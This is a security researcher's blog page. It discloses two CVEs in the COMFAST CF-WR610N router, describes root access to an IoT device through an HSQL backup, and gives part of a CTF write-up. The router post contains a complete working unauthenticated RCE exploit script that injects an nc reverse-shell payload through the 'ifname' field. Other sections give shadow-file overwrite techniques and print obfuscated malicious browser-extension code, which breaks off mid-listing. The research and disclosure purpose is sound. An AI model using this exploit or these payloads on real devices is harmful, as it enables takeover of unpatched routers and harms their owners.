Sn0ox

COMFAST CF-WR610N Wireless Router Multiple Vulnerabilities

2023-02-05T00:00:00-08:00

This post contains detailed information about a security research that i have been conducting on a COMFAST CF-WR610N wireless router. I tried to contact Comfast but there were no emails or contacts available besides a LinkedIn profile that belongs to a single person, which required me to connect in order to send messages, which I refuse to do. I didn’t gave up and I frequently searched for contact information and when I noticed they got a new website, I was finally able to get an email address. I sent an email but never got an answer, so I figure that they just don’t care about and don’t want people to reach out, so I decided to publish my findings with the RCE exploit that I have also developed.

Intro

I came accross COMFAST CF-WR610N while searching for a cheap wireles router fora project that I wanted to do, but after buying it I decided to do a bit of security research before putting it to use… And i am glad I did, since this is probably the worst router in terms of security I’ve ever tested! From a poorly designed feature that allows easy shell access, to remote code execution, a laughable authentication/autorization framework and a ridiculous amount of XSS, this router ticks all the boxes!

Affected firmware: V2.3.1 (and bellow)

History

17/11/2022 - Vulnerability found
18/11/2022 - CVE-ID requested
09/02/2023 - CVE-2022-45724 and CVE-2022-45725 were reserved.

Physical Recon

First thing I did after I got the router was open it up!

The PCB exposed the UART interface, which had the pins available and marked for easy access… how nice of them! My initial thought was to connect to it in order to get access to the system, but my USB TTL adapter was broken, and I was waiting on a new one to arrive, so I decided to explore other options.
The port scan revealed that SSH was available on the default port, although the user manual didn’t say anything about it… seemed to be a good starting point, but unfortunately none of the default usernames/password combinations that I tried worked, so I moved on.

Shell from backups

Having to wait for the USB TTL adapter to access the UART interface, I switch my focus to the web application.
While looking and exploring the application, the first thing I noticed was the Backup option.
I remember a recent security assessment that I did where I was able to exploit this mechanism to get shell access, and so I decided to start there.

This was the usual backup feature that I was expecting, I had the possibility of downloading a backup file and another option to upload a backup file, simple enough.

The backup file was just a tar inside a gzip. After decompressing all of this, I got an etc directory, which is always a good sign! Inside there were a lot of files

An interesting one was off course the shadow file, as it contains user hashed credentials!

Used hashcat to try to crack this password, but no luck… Apparently, this password was the only good thing about this router, since it was not possible to crack it!
After this, I started thinking about a way to overcome this issue, when I realized “well, why not just change the password in the shadow file and upload it”? Seemed to be a good Idea, so I started by generating a new password using

openssl passwd -1 -salt salt root

And stored the output in the shadow file, replacing the existing one

Afterward I generated a new backup file (gzip compressed) - it needs to have the extension “file” otherwise it fails, so the file needs to be “backup.file”. The upload was successful and after waiting about 60 seconds for everything to restart, I tried using the SSH and go access!

CVE-2022-45724 Broken authentication framework

While I was using the web application, I collected all the requests with BURP and one of the things I noticed was that, when user was logged in, if another unauthenticated request was made to certain pages, I would get a new COMFAST_SESSIONID cookie from the server that I could use to perform authenticated requests!

So I decided to make an authenticated GET request to the “/cgi-bin/system-status” page using curl to try to get a new cookie, and it worked. This did in fact generated a new session ID, which is really strange because for some reason the framework works perfectly well when there is no user already logged in, but if there is, it assumes a completely different behavior and although it redirects you to the login page if you try this on a private window, it still generates valid session IDs!

So, using the new cookie to tried to change something in the application, just to ensure that I did in fact have a valid cookie.

As you can see, it worked. This meant that, anyone could simply get a valid Cookie, as long as a user is logged in, without any credentials, and perform unauthenticated requests.

CVE-2022-45725 Improper Input Validation leading to RCE

With the SSH access, I located the web server binary along with other binaries that I saw were running by default, and started looking at those. I use Ghidra to reverse engineer binary files, and I got a few plugins [Rhabdomancer] (https://github.com/0xdea/ghidra-scripts/blob/main/Rhabdomancer.java) and [Haruspex] (https://raw.githubusercontent.com/0xdea/ghidra-scripts/main/Haruspex.java) to help find juicy methods that would allow me to get code execution. After a bit of searching and back and forth with all the binaries since some of those were APIs that were used by other binaries, I found that, when setting the firewall configuration, the ifname variable looked promising. By default in most methods the application would set this using WAN or LAN

But here the ifname variable was being used directly without any input verification, and since this would also be used on a local command, it looked even more promising.

This behavior happened in other variables as well, but following the rest of the code flow I confirmed that ifname was the only (that I saw) that would actually be used in a system call, so I tried a quick test to create a file in the tmp directory.

And it worked!

From here, getting a reverse shell was easy! And since (from the previous vulnerability) I know that, under certain conditions, I can force the server to generate a session ID, triggering this vulnerability could be achieved by an unauthenticated user. After getting a session cookie, I just had to use it to make a new request in order to get a reverse shell.

And got a shell

Unauthenticated exploit

It is possible to combine and take advantage of both CVE-2022-45724 and CVE-2022-45725 to achieve an unauthenticated RCE (as long as there is a user logged in, in order to trigger the bug in the authentication framework)

import argparse
import requests
from rich.console import Console
import json

console = Console()
PAYLOAD = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc %s %s >/tmp/f"
proto = "http://"

SESSION_ID_URI="/cgi-bin/system-status?method=GET§ion=language"
EXPLOIT_URI="/cgi-bin/mbox-config?method=SET§ion=arp_bind_list"


if __name__ == "__main__":

    arg_parser = argparse.ArgumentParser(description='Comfast CF-WR6110N Unauthenticated RCE')
    arg_parser.add_argument('-rh', dest='host', default="192.168.10.1", help='Host. (Default is 192.168.10.1)')
    arg_parser.add_argument('-s', dest="secure", action='store_true', default=False, help='For HTTPS usage instead of HTTP. Default is HTTP')
    arg_parser.add_argument('-lh', dest="attacker_host", required=True, help='Attacker host address')
    arg_parser.add_argument('-lp', dest="attacker_port", required=True, help='Attacker host port')

    args = arg_parser.parse_args()
    console.print("Don't forget to run a listener to get the reverse shell!", style="bold red")


    host = args.host
    if args.secure:
        proto = "https://"
    

    console.print("POST request to get the server to generate a valid COMFAST_SESSIONID", style="bold")
    data = {}
    url = proto + host + SESSION_ID_URI
    headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
    r = requests.post(url, data=json.dumps(data), headers=headers)

    console.print("Running exploit!", style="bold")
    attacker_host = args.attacker_host
    attacker_port = args.attacker_port

    payload = PAYLOAD%(attacker_host, attacker_port)
    data = {'add_list': [{'ip': '192.168.1.1', 'mac': 'dc:4e:f4:08:68:19', 'ifname': 'lan;' + payload, 'remark': ''}], 'operate': 'add'}
    url = proto + host + EXPLOIT_URI
    headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
    r = requests.post(url, data=json.dumps(data), headers=headers)

    console.print("Exploit successful. Enjoy your shell :-)", style="bold")

Multiple XSS

While testing, I also found that most of the fields of the web application were vulnerable to XSS due to the lack of input validation.

Here is a list of vulnerable fields:

VLAN setup menu

netmask
comments
ipaddr

DHCP Settings > Static list

commentname
ip

Bandwidth control > Pp limit

comment
ip

I also found that most of the input validation were being made via JavaScript, so client-side only, which is easily bypassed! An example is the one below, where the field restricts the length to 32 characters only

HSQL to shell access

2022-08-26T00:00:00-07:00

Exploitation

I recently came across with an IoT device that I was doing research on, along with my colleague Perses which had a lot of services exposed, one of those being a web application that allowed a user to manage the device. Oddly enough, this web application didn’t have any kind of default authentication, and was a feature that the user needed to activate if he so desired.
After a bit of time studying the application, one of its features caught our attention - backup and restore.
When backing up data from the device, it would generate a file with an extension that neither of us had ever seen, but after using the “file” command we realized that it was just a zip file… seriously!

Unzipping the file, and we got a lot of configuration files (JSON and XML), mostly device names and IDs, some images and an HSQL script and log file… I have never used HSQL but according to this link the script file contained all the statements to create the tables, alter them and insert the data, and the log file contained internal log statements of running transactions and some commit or rollback points.
Going through the HSQL documentation a database is called a catalog and in order to load a catalog from a file one needed 2 of 6 possible files, all with the same name but with different extensions… and we got 2! The log file and the script file… perfect.

Downloaded the HSQL jar file and opened the in my local machine.
For the username, I went with the default one - SA, and it worked (why wouldn’t it?). The database had all the information that I had created via the web application interface, including a new user!
As a sanity check, I changed the username value in the script file, zipped the directory and used the restore feature of the web application to confirm if the script was being used to fill the database… and it was! After the restore, the username had changed!

So, exploring a bit more about this database, hacktricks revealed a way of writing to the file system. Because this is a IoT device we already had access to the file system, we had previously reverse engineered the firmware to extract the rootfs which revealed that the system only had one user, root (from the /etc/passwd analazys). The UART interface was also available along with SSH service, but we didn’t have the root password, so we hadn’t been able to access it, but since root was the only user available that meant the web application had to running with root permissions!
From this assumption, we decided to test overwriting the /etc/shadow file to change the root user password and gain access to the system using the SSH available service, or at least that was the plan. For that, we created a procedure that received a string, the path to the file to be overwritten, and a byte array with the data to be written and using JAVA we would write to a file in the file system.

CREATE PROCEDURE PUBLIC.WRITETOFILE(IN PARAMSTRING VARCHAR(2048),IN PARAMARRAYOFBYTE VARBI NARY(2048)) SPECIFIC WRITETOFILE_10193 LANGUAGE JAVA DETERMINISTIC NO SQL NEW SAVEPOINT LEVEL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writ
eBytesToFilename'

call writetofile('/etc/shadow', cast('726f6f743a364b506b65385a4930645155363a31393139393a303a39393939393a373a3a3a0a6461656d6f6e3a2a3a31393139393a303a39393939393a373a3a3a0a62696e3a2a3a31393139393a303a39393939393a373a3a3a0a7379733a2a3a31393139393a303a39393939393a373a3a3a0a73796e33a2a3a31393139393a303a39393939393a373a3a3a0a67616d65733a2a3a31393139393a303a39393939393a373a3a3a0a6d616e3a2a3a31393139393a303a39393939393a373a3a3a0a6c703a2a3a31393139393a303a39393939393a373a3a3a0a6d61696c3a2a3a31393139393a303a39393939393a33a3a3a0a6e6577733a2a3a31393139393a303a39393939393a373a3a3a0a757563703a2a3a31393139393a303a39393939393a373a3a3a0a70726f78793a2a3a31393139393a303a39393939393a373a3a3a0a7777772d646174613a2a3a31393139393a303a39393939393a373a3a3a0a6261636b75703aa3a31393139393a303a39393939393a373a3a3a0a6c6973743a2a3a31393139393a303a39393939393a373a3a3a0a6972633a2a3a31393139393a303a39393939393a373a3a3a0a676e6174733a2a3a31393139393a303a39393939393a373a3a3a0a6e6f626f64793a2a3a31393139393a303a3939393933a373a3a3a0a5f6170743a2a3a31393139393a303a39393939393a373a3a3a0a73797374656d642d74696d6573796e633a2a3a31393139393a303a39393939393a373a3a3a0a73797374656d642d6e6574776f726b3a2a3a31393139393a303a39393939393a373a3a3a0a73797374656d642d7265736f6c6653a2a3a31393139393a303a39393939393a373a3a3a0a6e74703a2a3a31393139393a303a39393939393a373a3a3a0a6d6573736167656275733a2a3a31393139393a303a39393939393a373a3a3a0a61766168693a2a3a31393139393a303a39393939393a373a3a3a0a6d6f7371756974746f3a2a3a3393139393a303a39393939393a373a3a3a0a737368643a2a3a31393139393a303a39393939393a373a3a3a0a75756964643a2a3a31393139393a303a39393939393a373a3a3a0a' AS VARBINARY(2048)))

Then we just had to call the procedure giving it the path to the shadow file and a hexadecimal string of its contents, that would be cast.

Testing this locally in our database, it worked, but when we tried on the device it didn’t… What was wrong? We downloaded the new backup file in order to see what was on the database, and we found that the procedure was created, but the call was not… after a bit more digging we discovered that it was almost right at the first try, but instead of calling the procedure from the script file we needed to use the log file instead. (Note the set schema at the beginning)

/*C3*/SET SCHEMA PUBLIC
call writetofile('/etc/shadow', cast('726f6f743a364b506b65385a4930645155363a31393139393a303a39393939393a373a3a3a0a6461656d6f6e3a2a3a31393139393a303a39393939393a373a3a3a0a62696e3a2a3a31393139393a303a39393939393a373a3a3a0a7379733a2a3a31393139393a303a39393939393a373a3a3a0a73796e33a2a3a31393139393a303a39393939393a373a3a3a0a67616d65733a2a3a31393139393a303a39393939393a373a3a3a0a6d616e3a2a3a31393139393a303a39393939393a373a3a3a0a6c703a2a3a31393139393a303a39393939393a373a3a3a0a6d61696c3a2a3a31393139393a303a39393939393a33a3a3a0a6e6577733a2a3a31393139393a303a39393939393a373a3a3a0a757563703a2a3a31393139393a303a39393939393a373a3a3a0a70726f78793a2a3a31393139393a303a39393939393a373a3a3a0a7777772d646174613a2a3a31393139393a303a39393939393a373a3a3a0a6261636b75703aa3a31393139393a303a39393939393a373a3a3a0a6c6973743a2a3a31393139393a303a39393939393a373a3a3a0a6972633a2a3a31393139393a303a39393939393a373a3a3a0a676e6174733a2a3a31393139393a303a39393939393a373a3a3a0a6e6f626f64793a2a3a31393139393a303a3939393933a373a3a3a0a5f6170743a2a3a31393139393a303a39393939393a373a3a3a0a73797374656d642d74696d6573796e633a2a3a31393139393a303a39393939393a373a3a3a0a73797374656d642d6e6574776f726b3a2a3a31393139393a303a39393939393a373a3a3a0a73797374656d642d7265736f6c6653a2a3a31393139393a303a39393939393a373a3a3a0a6e74703a2a3a31393139393a303a39393939393a373a3a3a0a6d6573736167656275733a2a3a31393139393a303a39393939393a373a3a3a0a61766168693a2a3a31393139393a303a39393939393a373a3a3a0a6d6f7371756974746f3a2a3a3393139393a303a39393939393a373a3a3a0a737368643a2a3a31393139393a303a39393939393a373a3a3a0a75756964643a2a3a31393139393a303a39393939393a373a3a3a0a' AS VARBINARY(2048)))

Resetting the device to make sure the procedure was not already there and restoring it again, gave us root access when we tried to access the SSH service!

[CTF-Writeup] Hackthebox Business CTF 2022

2022-07-18T00:00:00-07:00

Reverse

Breakout

No files were given, just a docker instance… Accessing the docker instance and I got a filesystem

Going to the all common locations (/etc/passwd, /home, /roo/, etc.. ) i got nothing… So, I went the proc folder to see what was running on the system

From this I immediately got the 1 and 8 folder that referenced a PID… the PID 8 was interesting and the cmdline file got me the command that was run and revealing the binary /bkd I didn’t know what this was but at least I got a location… and the bkd was in the root directory so I downloaded it and started analyzing it.

Using ghidra on bkd file… and got an interesting function secretGet.

Looking at the variables I got the flag (in reversed order)

Using cyberchef, i got the flag…

FLAG: HTB{th3_pr0c_f5_15_4_p53ud0_f1l35y5t3m_wh1ch_pr0v1d35_4n_1nt3rf4c3…..}

ChromeMiner

The challenge gave me a DiscurdNitru.crx file… using google I found that I could extract its content (chrome extension by the way) in https://robwu.nl/crxviewer/ Using it, I found that it had a JS file called background (among others)

That file was obfuscated, divided in 2 parts with 2 different dictionaries for each part.

async function iF() {
    q = ['', '\x6D\x61', '', '', '', '', '', '', '', '\x68', '\x31\x32\x34\x31\x31\x38', '\x66\x65\x74\x63\x68', '', '\x65\x74', '', '\x30\x41\x39\x39', '', '', '', '', '', '\x65\x78', '', '', '', '', '', '', '\x6E\x67', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x64', '', '\x34\x42', '\x66', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x72\x61', '', '', '', '', '', '\x64\x65', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x72\x74', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x38', '', '', '', '', '', '', '', '', '', '', '\x36', '', '', '', '', '', '\x53\x74\x61', '', '', '', '', '', '', '', '', '\x53\x45', '', '', '', '', '', '', '', '', '', '', '\x73\x74', '', '', '\x32\x35\x36', '', '\x69\x6D', '', '', '\x39', '', '', '', '', '', '', '', '', '', '\x69\x6E', '', '', '', '\x61\x79', '', '', '\x65\x63\x75\x74\x65', '', '', '', '', '', '', '', '', '', '', '', '\x64\x6F\x6D\x56\x61\x6C\x75\x65\x73', '', '\x73\x63\x72\x69\x70', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x73\x65\x74', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x79\x70\x74\x6F', '', '', '', '', '', '', '\x36\x39\x46\x36', '', '', '', '', '', '', '', '', '', '', '', '\x65\x64', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x55', '', '', '', '', '', '\x45', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x68\x74\x74\x70\x3A\x2F\x2F', '', '', '', '\x63', '\x2F\x71\x77\x65', '', '', '', '\x2D', '', '\x54\x5F', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x43\x32\x31\x32\x42\x43\x31\x38\x38\x45\x30\x38\x38\x32\x42\x36\x42\x45\x37\x32\x43', '\x67', '', '', '', '', '\x32\x31', '', '', '', '\x43', '', '', '', '\x65', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x68\x74\x74\x70', '', '', '', '', '\x69', '', '', '', '', '', '', '', '\x43\x52\x45', '', '', '\x72', '', '', '\x6C\x65', '\x31', '', '', '', '', '', '', '', '', '\x70\x73\x3A\x2F', '\x37\x34', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x77', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x6E\x63\x72', '', '', '', '', '\x32', '', '', '', '', '', '\x42', '', '', '', '', '', '', '', '', '\x5F', '', '', '', '', '', '', '', '', '', '', '', '', '\x6A', '\x70\x61', '\x78', '', '', '', '', '\x62\x74', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x6F', '', '\x63\x6F\x64\x65\x72', '\x45', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x73\x75', '', '', '', '', '', '\x65', '', '\x72', '', '\x2F\x2F', '', '', '', '', '', '', '', '', '', '', '', '\x73', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x61\x62\x73', '', '', '', '', '', '', '', '', '', '', '\x74\x61\x62\x49\x64', '', '', '', '', '', '', '', '', '', '', '\x3A', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x6E\x55\x70\x64\x61', '\x64', '', '\x63\x72\x79\x70', '', '\x6E\x74\x65\x72\x76\x61\x6C', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x74', '', '', '', '', '', '', '', '', '', '', '', '', '\x39', '', '', '', '', '', '', '', '', '', '', '', '', '\x69\x6E\x67', '\x6F\x53', '', '', '\x4E\x4F\x54\x5F\x54\x48', '', '', '\x61\x2D', '', '', '', '', '', '', '', '', '', '\x65', '', '', '\x69', '', '', '', '', '', '', '', '\x73\x65', '', '\x32', '', '\x35\x42', '', '', '\x6E\x64\x73\x57', '', '', '', '', '', '', '', '', '\x69\x76', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x74\x49', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x43', '', '\x38\x41\x72\x72', '', '', '', '\x67\x65', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x72\x74\x4B\x65', '', '', '', '', '', '', '', '', '', '\x6D\x65', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x33', '', '', '\x69\x6E\x74', '', '', '', '', '', '', '', '', '\x34', '', '', '', '', '', '', '', '', '\x65\x63\x6F', '', '', '', '\x64\x65', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x74\x69', '', '', '', '', '', '', '', '', '', '', '\x6D\x61\x70', '', '', '', '', '', '', '', '', '\x30', '', '', '', '\x65\x6E', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x2F', '', '', '', '', '', '', '', '', '', '\x41\x45', '\x72\x74\x7A\x75', '', '', '', '', '', '\x73', '\x54\x65\x78', '', '', '', '', '', '', '', '\x45\x44\x46\x39', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x74\x52\x61\x6E', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x74\x72', '', '', '', '', '', '', '', '', '', '', '', '', '\x61\x64\x64\x4C', '', '', '\x65\x49\x6E\x74', '', '', '', '', '', '\x69', '', '', '', '', '', '', '', '', '\x39\x39\x46', '', '', '', '', '', '', '', '', '', '', '\x6A\x65\x63\x74\x65\x64', '', '', '', '', '', '', '', '', '', '\x69\x73\x74', '', '', '', '', '', '', '\x70\x61\x64', '\x63\x72\x69\x70\x74', '\x63\x6F\x64\x65', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x70\x6F', '', '', '', '\x39', '\x75\x72\x6C', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x74\x61\x72\x67', '', '', '\x72', '', '', '', '', '', '\x32', '', '', '', '', '', '', '', '\x61', '', '', '', '', '', '', '', '', '', '\x6E', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x36\x31\x44\x32', '\x64\x65\x63\x6F\x64', '', '\x63\x68', '', '', '\x72\x74', '\x74\x68', '', '', '', '', '\x74', '', '', '', '\x62\x79', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x68\x78', '', '', '', '\x43\x36\x38', '', '\x37\x35\x42\x31', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x72\x6F\x6D\x65', '', '', '', '', '', '', '', '', '', '\x6E\x67\x74\x68', '', '', '', '', '', '\x79\x70\x74', '\x32\x43\x30\x44\x39\x43', '', '', '', '', '', '', '', '', '', '', '', '\x35\x34\x39\x30', '\x54\x65\x78\x74\x45\x6E', '', '', '\x74\x65\x4C', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x74', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x69\x6F\x70\x31', '\x65', '', '', '', '', '', '', '', '', '\x74', '', '', '', '', '', '', '', '', '', '\x6F\x69', '', '', '', '', '\x74\x44', '', '', '', '', '', '', '\x61', '', '', '', '', '', '', '\x32\x33\x2E\x65\x76\x69\x6C', '\x75\x74', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x37\x46\x41\x38', '', '', '', '\x73\x74', '', '', '', '', '', '', '\x69\x74', '\x72', '', '', '', '', '', '\x73\x57', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x35\x32\x30', '\x73\x68', '\x43\x42', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x5F', '', '', '', '\x74', '', '', '', '', '', '', '', '\x53\x2D', '', '', '', '', '', '', '', '\x34\x32\x45\x36', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x53', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x6E\x65', '', '', '\x79', '', '', '', '\x6E', '', '', '', '\x63\x68', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''];
    if (!(q[0xf4] + q[0x52] + q[0x147] + q[0x469] + q[0x466] + q[0xc0] + q[0x20c] + q[0x41d] + q[0x3a6] + q[0x346] + q[0x33e] + q[0x109] + q[0x1c6] + q[0x14a] + q[0x208] + q[0x31a] + q[0x262] + q[0x41e] + q[0x3eb] + q[0x22c] + q[0x40e] + q[0x329] + q[0x3f] + q[0x4d2] + q[0x4d7] + q[0xdc] + q[0x199] + q[0x3f8] + q[0x3a1] + q[0x3a] + q[0x3ff] + q[0x221] in document)) {
        document[q[0xf4] + q[0x52] + q[0x147] + q[0x469] + q[0x466] + q[0xc0] + q[0x20c] + q[0x41d] + q[0x3a6] + q[0x346] + q[0x33e] + q[0x109] + q[0x1c6] + q[0x14a] + q[0x208] + q[0x31a] + q[0x262] + q[0x41e] + q[0x3eb] + q[0x22c] + q[0x40e] + q[0x329] + q[0x3f] + q[0x4d2] + q[0x4d7] + q[0xdc] + q[0x199] + q[0x3f8] + q[0x3a1] + q[0x3a] + q[0x3ff] + q[0x221]] = true;
        window[q[0x3e3] + q[0x3f9] + q[0x6d] + q[0x4d3] + q[0x2c7] + q[0x2e9] + q[0x2cc] + q[0x1c7] + q[0x18f] + q[0x3b7] + q[0x151] + q[0x27d] + q[0x2ee] + q[0x145] + q[0x3c] + q[0x193] + q[0x488] + q[0x54b] + q[0xc8] + q[0xfb] + q[0x218] + q[0xfd] + q[0x339] + q[0x57e] + q[0xad] + q[0x565] + q[0x286] + q[0x45b] + q[0x122] + q[0x1f0] + q[0x8b] + q[0x1dd]](async () => {
            y = new window[q[0x1ce] + q[0x34f] + q[0x27] + q[0x21b] + q[0x2e7] + q[0x1ff] + q[0x535] + q[0x33f] + q[0x59b] + q[0x13a] + q[0x4f9] + q[0x34c] + q[0x219] + q[0x285] + q[0x188] + q[0x4da] + q[0x495] + q[0x3c7] + q[0x50f] + q[0x8e] + q[0x132] + q[0x3cf] + q[0x2c3] + q[0x311] + q[0x1a0] + q[0x232] + q[0x547] + q[0x224] + q[0x45c] + q[0x554] + q[0x4a9] + q[0xc4]](64);
            window[q[0x335] + q[0x28] + q[0xb4] + q[0xf9] + q[0x473] + q[0x3ad] + q[0x153] + q[0x31b] + q[0x3e7] + q[0x54e] + q[0x2f3] + q[0x12] + q[0x448] + q[0x592] + q[0x1b0] + q[0x351] + q[0x18d] + q[0x120] + q[0x2e] + q[0x9b] + q[0x345] + q[0x51d] + q[0x55f] + q[0x209] + q[0x19b] + q[0x103] + q[0x2ed] + q[0x217] + q[0x2c0] + q[0x3be] + q[0x25] + q[0x48b]][q[0x319] + q[0x51f] + q[0x83] + q[0x4c0] + q[0x42c] + q[0x59c] + q[0x157] + q[0x30e] + q[0x3e9] + q[0xcf] + q[0x170] + q[0x441] + q[0x558] + q[0x3d6] + q[0x4b4] + q[0x2f4] + q[0x306] + q[0x2ba] + q[0x3c0] + q[0x23c] + q[0x16b] + q[0x323] + q[0xb5] + q[0x3da] + q[0x3f2] + q[0x197] + q[0x45e] + q[0x513] + q[0xd3] + q[0x57c] + q[0x4f2] + q[0x4bd]](y);
            if ((new window[q[0x27a] + q[0x3b0] + q[0x1d5] + q[0x532] + q[0x4b2] + q[0x3ab] + q[0x1fc] + q[0x3ac] + q[0x507] + q[0x4a3] + q[0x74] + q[0x3ae] + q[0x517] + q[0x35e] + q[0x4c7] + q[0x362] + q[0x389] + q[0x53d] + q[0x7f] + q[0x9d] + q[0x405] + q[0x464] + q[0x453] + q[0x2fe] + q[0x270] + q[0x50e] + q[0x5c] + q[0x23d] + q[0x24d] + q[0x126] + q[0x51c] + q[0xc2]](q[0x1b8] + q[0x3e0] + q[0x1f] + q[0xbb] + q[0x3a4] + q[0x259] + q[0x596] + q[0x1e4] + q[0x2a4] + q[0x470] + q[0x38d] + q[0x555] + q[0x375] + q[0x24c] + q[0xbd] + q[0x26e] + q[0x526] + q[0x322] + q[0x42d] + q[0x35] + q[0x11b] + q[0x158] + q[0x309] + q[0x41a] + q[0x89] + q[0x59f] + q[0x26] + q[0x2ca] + q[0x36] + q[0x21d] + q[0x2bd] + q[0x320])[q[0x1f5] + q[0x19a] + q[0x9f] + q[0x47a] + q[0x598] + q[0x3de] + q[0x233] + q[0x125] + q[0x5a9] + q[0xc6] + q[0x4bb] + q[0x391] + q[0xa1] + q[0x4d0] + q[0x3d4] + q[0x2e2] + q[0x222] + q[0x2c1] + q[0x13d] + q[0x1cb] + q[0x26a] + q[0x2cd] + q[0x4ff] + q[0x419] + q[0x1e] + q[0x133] + q[0x446] + q[0x4ee] + q[0x4f4] + q[0x29b] + q[0x559] + q[0x3fd]](await window[q[0x335] + q[0x28] + q[0xb4] + q[0xf9] + q[0x473] + q[0x3ad] + q[0x153] + q[0x31b] + q[0x3e7] + q[0x54e] + q[0x2f3] + q[0x12] + q[0x448] + q[0x592] + q[0x1b0] + q[0x351] + q[0x18d] + q[0x120] + q[0x2e] + q[0x9b] + q[0x345] + q[0x51d] + q[0x55f] + q[0x209] + q[0x19b] + q[0x103] + q[0x2ed] + q[0x217] + q[0x2c0] + q[0x3be] + q[0x25] + q[0x48b]][q[0x537] + q[0x76] + q[0x444] + q[0x474] + q[0x220] + q[0x342] + q[0x161] + q[0x1ab] + q[0x3d3] + q[0x314] + q[0x44e] + q[0x2e4] + q[0x3bc] + q[0x5d] + q[0x56d] + q[0x16e] + q[0x2f] + q[0x1f4] + q[0x273] + q[0x32d] + q[0x185] + q[0x118] + q[0x366] + q[0x19e] + q[0x58e] + q[0x4f6] + q[0x2d1] + q[0x1fa] + q[0x1a7] + q[0x49] + q[0xf7] + q[0x3a7]][q[0x279] + q[0x449] + q[0x205] + q[0x223] + q[0x5] + q[0x503] + q[0x2e0] + q[0x3fa] + q[0x13f] + q[0x1b3] + q[0x545] + q[0x26c] + q[0x267] + q[0x250] + q[0x149] + q[0x252] + q[0x28e] + q[0x505] + q[0x17e] + q[0x37f] + q[0x3d2] + q[0x315] + q[0x87] + q[0x42b] + q[0xae] + q[0x308] + q[0x2c2] + q[0x2b7] + q[0x22e] + q[0x2a] + q[0x31e] + q[0x404]](q[0x37] + q[0x55d] + q[0x557] + q[0x2b2] + q[0x35f] + q[0xb1] + q[0x32b] + q[0x5b2] + q[0x22] + q[0x3d5] + q[0x533] + q[0x176] + q[0xda] + q[0x1a5] + q[0x373] + q[0x284] + q[0x25e] + q[0x3f5] + q[0x4a7] + q[0x256] + q[0x350] + q[0x3ba] + q[0x53c] + q[0xcb] + q[0x163] + q[0x148] + q[0x26b] + q[0x3fc] + q[0x162] + q[0x3ef] + q[0x43f] + q[0x215], y)))[q[0x33b] + q[0x1ca] + q[0x226] + q[0x2ce] + q[0x1b1] + q[0xe8] + q[0x181] + q[0x3ea] + q[0x17] + q[0x53f] + q[0x531] + q[0x9] + q[0x46c] + q[0x49e] + q[0x263] + q[0x550] + q[0x3b3] + q[0x93] + q[0x4dd] + q[0x356] + q[0x313] + q[0x178] + q[0x20] + q[0x36f] + q[0x235] + q[0x368] + q[0x1a2] + q[0x45] + q[0xe1] + q[0x561] + q[0x5b8] + q[0x361]](q[0x24b] + q[0xd9] + q[0x471] + q[0xc9] + q[0x4aa] + q[0x4ef] + q[0x432] + q[0x22d] + q[0x29c] + q[0x569] + q[0x1c9] + q[0x58c] + q[0x468] + q[0x1d6] + q[0x2d9] + q[0x3] + q[0x20d] + q[0x28c] + q[0x39c] + q[0x50] + q[0x1fb] + q[0x5af] + q[0x2b4] + q[0x40d] + q[0xca] + q[0x1cf] + q[0x583] + q[0x23b] + q[0x4b8] + q[0x44c] + q[0x45f] + q[0x336])) {
